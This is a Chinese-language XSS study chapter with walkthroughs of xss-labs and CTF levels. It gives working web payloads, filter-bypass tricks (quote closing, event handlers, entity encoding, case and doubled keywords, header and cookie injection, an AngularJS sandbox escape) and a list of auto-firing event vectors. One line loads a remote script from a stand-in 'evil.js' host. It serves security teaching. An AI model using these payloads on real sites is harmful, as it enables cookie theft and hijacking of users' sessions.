第九章-XSS攻击
飞书链接:https://icnewi51k2yp.feishu.cn/wiki/QRBFwsdZIi2lqmkDJaqc8Udun3g
[9.1]XSS 攻击绪论
注:XSS 靶场在本节作为例题出现过的,本章实验就不会再出现了
XSS (Cross Site Scripting) 攻击全称跨站脚本攻击,是为不和层叠样式表 (Cascading Style Sheets, CSS) 的缩写混淆,故将跨站脚本攻击缩写为 XSS。
XSS 是一种经常出现在 Web 应用中的计算机安全漏洞,它允许恶意 Web 用户将代码植入到提供给其它用户使用的页面中。
一句话理解 XSS
XSS 攻击就是把你的恶意代码 “种” 到别人的网站上,让其他用户访问时自动执行。就像你在一家网红奶茶店的菜单上偷偷贴了一张小广告,每个来买奶茶的人都会看到这张广告,而店员完全没发现。
举个生活中的例子
假设你在一个论坛发帖,正常情况下你输入的文字会原封不动地显示给其他用户看。
- 正常发帖:你输入 “这家奶茶好好喝!”,其他用户看到的就是这句话。
- XSS 攻击:你输入 “这家奶茶好好喝!”。如果网站没有过滤你的输入,其他用户打开这个帖子时,浏览器就会自动执行
<script>里的代码,弹出一个 “你被攻击了!” 的提示框。
这就是最基础的 XSS 攻击,在 CTF 里,通常只要能弹出这个提示框,就算你成功拿下这道题了。
XSS 简单应用场景举例
以反射型 XSS 为例,原理图如下。

XSS 基本攻击手段
XSS 根据效果不同主要分为三种类型:
反射型 XSS,存储型 XSS,DOM 型 XSS
反射型 XSS
反射型 XSS,也叫非持久型 XSS,转瞬即逝。
当用户在 HTTP 请求中提供的数据未经任何验证就能被包含在网页源代码中时,就会发生反射型 XSS。
利用比较简单,比如在搜索框中,我记得当时 2020 年,b 站的搜索框还是存在 XSS 的,现在没有了。
反射型 XSS 的 Payload 如下
1 | <script>alert(1);</script> |
在此界面这样输入

效果如图所示

潜在影响: 攻击者可以向潜在受害者发送 XSS 链接,然后让受害者在浏览器上执行相关的 XSS payload 代码,从而获取到用户会话信息或用户的其他信息(作为测试使用时,XSS payload 在执行后 往往产生弹窗、页面重定向、页面嵌套等效果)。
存储型 XSS
存储型 XSS 是危害性最大的 XSS ,它一般出现于评论留言功能处,大致的利用方法与绕过手段与反射型 XSS 很像,原理图如下。(本节先不学绕过,第二节再学绕过)
我们在新增的评论中将 username 构造成 Payload
1 | username=<script>alert(1);</script> |
而这一条评论,又会被保存到数组或者是数据库当中(这个看 Web 程序的设计),就造成了存储型 XSS。
潜在影响:
存储型 XSS 中的恶意 JavaScript 代码可以将用户重定向到另一个站点、窃取用户的会话 cookie,或者在充当访问用户的同时在目标网站上执行一些其他操作。
DOM 型 XSS
DOM 型的 XSS 是基于文档对象模型 Document Objeet Model,DOM)的一种漏洞。说白了就是那些标签,比如 img,input 等这种类型的 DOM 节点标签而已,而 DOM 型 XSS 打的就是这些。
DOM 型 XSS 全部都是由前端进行触发的。所以我们平常如果挖洞,很考验代码审计的耐心。
这些都到下一节再展开来讲,先来看个示例
XSS 漏洞举例
这里我们拿 xss-labs-1 来做举例,体会一下 xss 攻击是什么样子的:
按照首页提示点击图片来到 level1,页面显示如下:

我们仔细观察一下 url 地址的构造,就可以发现这里是向服务器提交了一个值为”test”的 name 参数。并且从页面回显可以看到不仅将 name 参数的值显示在了页面当中,还显示了 name 参数值的字符长度。接着我们看看该页面的网页源码是如何的

从网页源码来看这里是将 name 参数的值直接插入到了
标签之中。那么这样看来这一关主要就是考察反射型 XSS
可以看到我们提交的用于弹窗的 js 代码顺利执行。那么我们再来研究这段代码在网页源码中是如何显示的

可见服务器是将我们提交的恶意代码原封不动的返回了,因此浏览器才能成功的弹窗。最后看看服务器端的 level1.php 到底是如何对参数进行操作的

通过源码不难看出,红色箭头 1 处是服务器将通过 get 方式传递过来的 name 参数的值赋给了 str 变量,然后在箭头 2 处又将 str 变量直接插入在了
标签之中。因此服务器并没有对 name 参数的值进行严格处理,并且这个参数的值又是用户可控的,所以此处存在了反射型的 XSS 漏洞。而我们通过将 level1.php 的源码和在浏览器中查看到的该页面网页源代码进行对比,可以总结出以下事实:
1、php 的代码仅仅在服务器端解析执行。
2、服务器将执行完成的最终网页代码(不包含源文件中属于 php 语言的部分)返回给浏览器,然后浏览器对网页代码进行解释显示。
3、在浏览器端查看源代码是无法看到对参数进行具体操作的 php 代码,只能看到结果。
期末考完玩 hi 了,写到这里时间已经很晚了 hhh,关于漏洞利用,我们稍作休息,然后移步下一节
[9.2]反射型 XSS 漏洞利用
注:XSS 靶场在本节作为例题出现过的,本章实验就不会再出现了
闭合标签基础
先来复习:
一般情况,反射型 XSS 的 Payload 是
1 | <script>alert(1);</script> |
其中 1 可以改成任何值。
此外,如何测试反射型 XSS?
你需要测试每个可能的 XSS 漏洞入口点,包括:URL 查询字符串中的参数(Parameters ) URL 文件路径 HTTP 标头(尽管在实践中不太可能存在 XSS 漏洞利用)
一旦你发现了能够反映在 Web 应用程序中的一些数据,你就需要确认你可以成功运行你的 JavaScript Payload;你所构造的 Payload 将取决于你的代码在 web 应用程序中的位置。
因此 XSS 的攻击构造与理解异常简单与轻松,难点在于各种格式和关键词等绕过手段,这里我们通常需要查看网页源码。
闭合 input(单)标签(有头无尾,闭合格式)
如 SQL 注入一样,有括号、有引号等的地方我们不得不手动闭合,让代码正常运作
这里我们一定要先看源代码,判断闭合方式(单引号,双引号,括号…)
[例题]xss-lab-2
题目是一个搜索界面,我们插入一个值然后点搜索

这里我们点击查看源代码,看看是咋回事

如图,这里我们只能以 get 形式控制 17 行 value 的值,而这是带引号和尖括号的
1 | <input name=keyword value="test"> |
观察一般的反射型 payload:
1 | <script>alert(1);</script> |
如果我们直接输进去,是这样,会被双引号包裹
1 | <input name=keyword value="<script>alert(1);</script>"> |
所以我们得提前包裹一下,代码块都变色了,说明我们骗过了它,黄底是我们需要的 payload
注:这里多余的”> 按照 html 规则,并不会被解析成可执行的代码
是不是很像 SQL 注入?
1 | <input name=keyword value=""><script>alert(1);</script>"> |
那我们试着 payload:
1 | ?keyword="><script>alert(1);</script> |
(不过这个分号是可打可不打的)
即得运行通过

闭合双标签(有头有尾,闭合标签)
单标签和双标签
HTML 里的标签分两类:双标签(需要闭合)和单标签(不需要闭合)
单标签(自闭合,不需要单独写结束标签)
这类标签就像一个 “一次性的物品”,它本身就代表了完整的功能,不需要包裹任何内容。
语法:
<标签名 属性=值>或<标签名 属性=值(后者是更标准的写法)例子:
<img src="xxx.jpg">→ 直接插入图片,不需要内容<input type="text">→ 直接生成输入框<br>→ 直接生成换行
双标签(需要开、关两个标签)
这类标签就像一个 “有盖的盒子”,中间可以包裹其他内容或代码。
语法:
<标签名>内容</标签名>例子:
<script>alert(1)</script>→ 包裹 JS 代码<div>这是一段文字</div>→ 包裹网页内容<a href="https://xxx.com">链接</a>→ 包裹链接文字
核心特点:必须用
</标签名>来闭合,否则浏览器会解析出错。
我们来看下面这道例题
[例题]双标签例题
这个它不是作业里的 level3,我们只能看别人的 WP
在此关卡你会看到另一个询问你姓名的表单,与上一级关卡相同,你的姓名信息会反映在页面源码的 HTML 标签中,在此处是 textarea 标签。

我们必须使用以下 payload 对 textarea 标签进行闭合,这与之前闭合 input 标签(在关卡二中)略有不同:
在白色方框中填写:
1 | </textarea><script>alert('THM');</script> |

这样 textarea 这个双标签被你提前结束了(这会导致 textarea 元素关闭,以便 payload 有效部分得以运行),且标红的结束标签并不起作用;同时也成功插入了反射型代码
1 | <script>alert(1);</script> |
绕过字符过滤
参数 onclick 绕过 input 尖括号过滤
有的题目会过滤尖括号,这样我们就没办法用
点击查看源代码,尖括号全被转码了

这意味着我们不能采用带尖括号的 payload;
我们观察源码,标签是 input,我们可以给它添加参数
1 | <input name=keyword value='value'> |
将 value 值设为’ onclick=’alert(1)’
即 payload: ?keyward=’ onclick=’alert(1)’
代码变成这样
1 | <input name=keyword value='' onclick='alert(1)''> |
value 被括起来了,添加了参数 onclick,意为在单击输入框的时候执行 alert(1),随后我们单击输入框即得答案

a_href 绕过 onclick 过滤
注意这是单独的语句,要闭合 input
如果 onclick 被过滤了但尖括号没过滤呢?可以使用
"> <a href='javascript:alert(1)'>abc</a>
不过要稍微注意一下闭合方式的问题
[例题]xss-lab-5
这题和第三题外貌上看起来是一样的 找到闭合方式是””以后,我们再用” onclick=”alert(1)”试试
可见这一行直接爆红了,因为 on 中间被添加了用于保护的下划线

我们再使用刚新学的方法
输入:”> abc
注意”> 是要随题目更换的,你得先知道闭合方式
这样这一行代码就变成了
1 | <input name=keyword value=""> <a href='javascript:alert(1)'>abc</a>"> |
它生成了一个按钮 abc,点击它,运行通过!

大小写绕过字符过滤
有的题目它过滤标签的字符,只过滤了小写,没过滤大写
[例题]xss-lab-6
比方说这题,按第五题的方式输进去 a_href 中间直接被添了下划线,整段代码失效

但如果输大写进去,可见按钮变成了有效蓝色–其并没有过滤掉大写!

双写绕过空替换字符
和 SQL 一样,当过滤机制是替换敏感字符为空时,双写通常会有较为理想的效果
[例题]xss-lab-7
先用了一下 onclick,发现失败了

查看源代码,发现闭合方式不对,on 也不见了

使用黄底的 payload,代码变成这样:
1 | <input name=keyword value="" oonnclick='alert(1)'"> |
最前面使用双引号闭合 value 后面的 on 直接双写被吃掉一个,格式正确
单击输入框,运行通过

html 实体编码绕过引号等字符过滤
html 实体编码处理,可以解决绕过引号等字符过滤问题
这是 html 的实体编码语法
https://www.runoob.com/charsets/ref-html-8859.html
这是生成器
https://tools.simpletools.nl/html-entities-encode---decode-cn.html
实际上使用生成器进行实体编码处理只会对符号编码,没办法过滤字符绕过,只能过滤引号绕过,我们还得把过滤的字母给自行编码
例如
" onclick='alert(1)'
得到的是

如果过滤 on,我们可以对 on 的其中一个字母,这里以 o 为例进行编码

[例题]xss-lab-8
拿到题目,判断闭合方式是双引号以后,我们先查看源码

观察第 20 行,本题应该是给 a href 添加参数,然后使友情链接这个按钮成为木马
"> <a href='javascript:alert(1)'>abc</a>
不出所料 script 被添加下划线过滤

进行编码后,我们需要填的应该就是
javascript:alert(1)

运行通过,我们再查看一下源码

这样必然奏效,当然如果是十进制,必然也奏效

改 alert 参数绕过字符白名单检测
这点挺玄的,有的题目会检测你输入的数据是否有需要的字符或者单词
[例题]xss-lab-9
和上一题一样 我们先输
javascript:alert(1)
提示链接不合法,故推测是字符白名单检测

什么样的链接才合法呢?猜测是带 http://的,我们修改一下 alert 里面的参数,记得加双引号
javascript:alert('http://')
运行通过

隐藏域问题
先复习一下如何测试反射型 XSS:
–你需要测试每个可能的 XSS 漏洞入口点,包括:URL 查询字符串中的参数(Parameters ) URL 文件路径 HTTP 标头(尽管在实践中不太可能存在 XSS 漏洞利用)
一旦你发现了能够反映在 Web 应用程序中的一些数据,你就需要确认你可以成功运行你的 JavaScript Payload;你所构造的 Payload 将取决于你的代码在 web 应用程序中的位置。
有的题目很贱,HTTP 标头这里,他不告诉你有注入点,要你自己猜 GET/POST 的变量名
这里就需要特别注意源代码中 input 附近出现的关键信息,尤其是还标了 type=”hidden”的,这类输入框通常被隐藏了,才造就了注入点找不到
这种题我们得做两件事 一是找到隐藏的注入点,二是让 type=”hidden”失效,以使得 onclick 方法有输入框可点
直接猜测 GET 变量名
[例题]xss-lab-10
拿到题目发现给了个 GET 关键字 keyword

打开源代码发现 keyword 不存在于任何标签附近,这怎么办呢?

注意到 17-19 行有三个 input 标签和三个不一样的变量名,我们可以依次尝试使用 GET 提交
get 提交后打开源代码,发现 t_sort 这个部分的 value 值通过 get 方式是可控的

我们观察一下这一行语句
1 | <input name="t_sort" value="1" type="hidden"> |
找到闭合方式后,应该是这样,可 onclick 需要点击输入框,我们不得不修改一下 hidden 参数
1 | <input name="t_sort" value="" onclick='alert(1)'" type="hidden"> |
使用尖括号,让 input 提前结束
1 | <input name="t_sort" value="" onclick='alert(1)'type=''>" type="hidden"> |
可见运行通过,但看了攻略以后发现用于提前结束的尖括号实际上没必要输进去
用
<input name="t_sort" value="``" onclick='alert(1)'type=''``" type="hidden">
效果是一样的

用既有值推测请求头里的变量名
因为请求头中变量的值往往是既有的
所以在获取源代码的时候,有些隐藏域的变量有初始值,一般是请求头中变量的值
不过这类题既可以自己推测,也可以用 Burp 抓包找到究竟哪个值是请求头中的值
注意在使用 Hackbar 进行推测的时候,可以先 load 直接点执行一次,看下哪些值变了,避免一开始是空值并非初始定值
这里 Hackbar 不能开 POST 提交,直接伪造请求头提交就行了
[例题]xss-lab-11

这题我们打开源代码,就发现有一个隐藏域的变量它是有初始值的,而且应该是 POST 变量

下一步有两条线,一是自己猜是哪个 POST 变量,可以翻 hackbar,也可以直接用 Burp 抓包看看是哪一个
这里因为一看就知道是 Referer,所以就不抓包了

修改 refer 的值试试看,确实变了

修改 referer 值为
" onclick='alert(1)'type=''>
再 post 提交
出现并点击聊天框,则运行通过

文件上传问题
ng-include 函数
在前端有的会用 ng-include 包含图片等等
ng-include 包含图片时,会执行图片转 txt 后的代码
包含代码时,必然就执行代码了
不过有几点要注意:
ng-include 包含文件具有以下特性:
1.如果单纯指定地址,必须要加引号。
2.加载外部 html,script 标签中的内容不会执行。
3.加载外部 html,style 标签样式可以识别。
4.加载外部 html,link 标签可以加载。
所以,如果你使用 script 标签进行包裹攻击代码,里面的内容是不会执行的。
[例题]xss-lab-15
观察这题源码,有 ng-include 语句,且上传的图片可控

我们将一张图片用 txt 打开,在开头位置写 payload 并进行上传

包含该图片,图片被解析,代码则成功运行了

此外我们还可以包含 level1 中被 XSS 注入后的 php,level1.php 的代码会被完全运行,显示通关的按钮
1 | ?src="level1.php?name=<a href='javascript:alert(1)'>varin</a>" |

添加 onload 参数
如果没有过滤 还可以尝试为 span 添加参数 onload
使用以下有效载荷 /img/cat.jpg" onload="alert('THM');,然后查看对应的页面源代码,你将看到此 payload 如何开始工作。

现在,当你单击回车按钮时,你将看到一个带有字符串 THM 的警告框被弹出;然后,你会收到一条确认消息,表明你的 payload 已成功执行。完成此关卡你将获取到一个最终的 flag。
绕过空格过滤/构造完整语句
%0a,%0d,%0c
如题,用这三个可以替代空格,不过如何找到这三个可以绕过的呢,这挺有趣的
https://blog.csdn.net/m0_73360524/article/details/141614752
此外有的题过滤了 script 这一整个字符
如果有条件(尤其是尖括号没过滤),我们可以构造一整条新的 input+onclick 语句来绕过它
[例题]xss-lab-16
这题就是,我 pay 了一个按钮,发现 script 和空格直接被禁了,修改大小写也没用

但观察源代码,发现这里并没有要我们闭合的地方,而且尝试了一下尖括号也没过滤

我们可以构造一整条 input 语句:
<input name=key value='``' onclick='alert(1)'``'>
然后把空格替换一下
<input%0dname=key%0dvalue='``'%0donclick='alert(1)'``'>
构造成了这样

点击输入框,运行就通过啦!

enbed 标签问题
浏览器没 flash,转的是这上面的教程
https://blog.csdn.net/qq_65852138/article/details/141646835
利用空格新增参数
这个没什么说的,看看例题的手法吧
[例题]xss-lab-18
以 xss-lab-18 为例,这里要填 arg01 和 arg02 两个参数

这里要填 arg01 和 arg02 两个参数 共同组合成 arc 的值
但我们发现这个标签的不同参数之间是靠空格隔开的 那我们是否可以在 b 之前加一个空格,然后让 b 作为新的参数
呢?
答案是可以的
这里我们让 arg02= onmouseover=alert(1)
注意黄底的空格
可以发现,确实新造了一个名为 onmouseover 的参数

此外,这种题也同样存在不同的闭合方式,需要你打开源代码进行判断

[9.3]存储型 XSS 和 DOM 型 XSS
存储型 XSS
若可以被进行存储型 xss 攻击的代码执行起来,大多是插入进上下文标签当中,和之前反射型 XSS 的代码图类似,都是没有加任何的过滤手段,如图。

我们在新增的评论中将 username 构造成 Payload
1 | username=<script>alert(1)</script> |
而这一条评论,又会被保存到数组或者是数据库当中(这个看 Web 程序的设计),就造成了存储型 XSS
DOM 型 XSS
DOM 型的 XSS 是基于文档对象模型 Document Objeet Model,DOM)的一种漏洞。说白了就是那些标签,比如 img,input 等这种类型的 DOM 节点标签而已,而 DOM 型 XSS 打的就是这些。
需要注意的是,DOM 型 XSS 全部都是由前端进行触发的。
一些常用的标签与属性
下面列举的标签大部分是可以自动触发 js 代码的,无需用户去交互,大部分情况下我们也是希望是自动触发而不是等用户去触发。
scirpt 标签
<script> 标签用于定义客户端脚本,比如 JavaScript。
1 | <script>alert(1);</script><script>alert("xss");</script> |
img 标签
<img> 标签定义 HTML 页面中的图像。
1 | <script>alert(1);</script><script>alert("xss");</script> |
input 标签
<input> 标签规定了用户可以在其中输入数据的输入字段。
onfocus 事件在对象获得焦点时发生:
1 | <input onfocus=alert(1);> |
竞争焦点,从而触发 onblur 事件:
1 | <input onblur=alert(1) autofocus><input autofocus> |
input 标签的 autofocus 属性规定当页面加载时 <input> 元素应该自动获得焦点。可以通过 autofocus 属性自动执行本身的 focus 事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
1 | <input onfocus="alert(1);" autofocus> |
details 标签
<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发:
1 | <details ontoggle=alert(1);> |
使用 details 标签的 open 属性触发 ontoggle 事件,无需用户去点击即可触发:
1 | <details open ontoggle=alert(1);> |
svg 标签
<svg> 标签用来在 HTML 页面中直接嵌入 SVG 文件的代码。
1 | <svg onload=alert(1);> |
select 标签
<select> 标签用来创建下拉列表。
1 | <select onfocus=alert(1)></select> |
通过 autofocus 属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
iframe 标签
<iframe> 标签会创建包含另外一个文档的内联框架。
1 | <iframe onload=alert(1);></iframe> |
video 标签
<video> 标签定义视频,比如电影片段或其他视频流。
1 | <video><source onerror=alert(1)> |
audio 标签
<audio> 标签定义声音,比如音乐或其他音频流。
1 | <audio src=x onerror=alert(1);> |
body 标签
<body> 标签定义文档的主体。
1 | <body onload=alert(1);> |
onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及 autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发:
1 | <bodyonscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> |
textarea 标签
<textarea> 标签定义一个多行的文本输入控件。
1 | <textarea onfocus=alert(1); autofocus> |
keygen 标签
1 | <keygen autofocus onfocus=alert(1)> //仅限火狐 |
marquee 标签
1 | <marquee onstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以 |
isindex 标签
<link> 标签定义文档与外部资源的关系。在无 CSP 的情况下才可以使用:
1 | <link rel=import href="[http://47.xxx.xxx](http://47.xxx.xxx).72/evil.js"> |
[9.4]XSS 漏洞实践
我们把靶场里面没打完的关再打一下
然后上平台再做点题
xss-labs-1
9.1 节实验举例
xss-labs-2~3
9.2 节实验举例
xss-labs-4
输

我们输入” onclick=”alert(1)”
使代码闭合成:
1 | <input name=keyword value="" onclick="alert(1)""> |
再次点输入框,运行通过

xss-labs-5~11
9.2 节实验举例
xss-labs-12
这一题是第 11 关的变体,一看就知道要改的是 POST:user-agent

修改其值为:
" onclick='alert(1)'type=''>
通过

xss-labs-13
一开始四个变量都没值,用 Hackbar 空 post 了一次看到 cook 有值

推测 cook 是 cookie 的缩写,故查一下 cookie
cookie 改成 1,这里面并没有出现 value

故这应该是 cookie 里面的某一个变量
我们打开 Burp 抓取本次请求
果然是一个叫 user 的变量的值

改成相关代码
" onclick='alert(1)'type=''>
点放行,点击输入框,通过

xss-labs-14
这题有些麻烦,没安装好工具,先过
方法应该就是把作者名称修改成脚本代码

xss-labs15~19
9.2 节实验举例
[第二章 web 进阶]XSS 闯关
进入第一关,发现可以改的是 username

username 改成脚本,通过了
<script>alert(1);</script>

第二关还是改 username,但发现需要闭合

我们先闭合单引号,提交
'<script>alert(1);</script>
发现错误,我们得事先结束前面的 script

于是构造标签,提前结束,运行通过
'``</script>``<script>alert(1);</script>

第三关用相同方式通过了

第四关,拿到题啥也没有,估计要猜变量
先查看源码,发现关键字 ccc

输 ccc=12,发现重定向后面拼接了 12

不过似乎没用
又注意到 jumpUrl

尝试 get 一下:
1 | jumpUrl=javascript:alert(1) |
改变了 URL,倒计时结束后跳转到下一关了

实际上这属于 javascript 伪链接
浏览器会在当前页面把 javascript 后边的内容直接当作代码执行。
看下一关的源代码

读源代码,发现这两个参数和最后的函数很重要,因为都可以用 get 提交
意思大概是我们要使得 autosubmit 为 true,autoForm.action 的值就可以被 action 变量改动
最后 autoForm.submit 可能会执行 action 的动作
我们再用上一题的方式把动作写上去,便通过了
1 | ?autosubmit=1&action=JavaScript:alert(1) |

读源代码,发现注入的 1 直接输进代码里了

复制后面的代码提前结束,再加脚本
1 | </span></div></div></div></div></div></div><script>alert(1);</script> |
发现给我过滤了左半边尖括号

我试着进行 html 实体编码,还是不太好使……
后来搜了一下,这属于 xss 模板注入,我们输49,竟然返回了 49
能力有限,最后直接抄 payload 了
1 | {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} |
这样七个关卡就结束了

做题启示
- javascript 伪链接在 url 问题时能够巧妙应用
- getQueryVeriable()的变量可以使用 get 提交,可以迅速找到注入点
- action 动作也很重要,里面填 java 伪链接,就很有可能执行
也搜不到更多的 XSS 题了,那本章就到这里吧
![CVE-2022-47615[任意文件读取]](/img/BqvBbcdufoB3S8xJ1FQcnMsenkh.png)

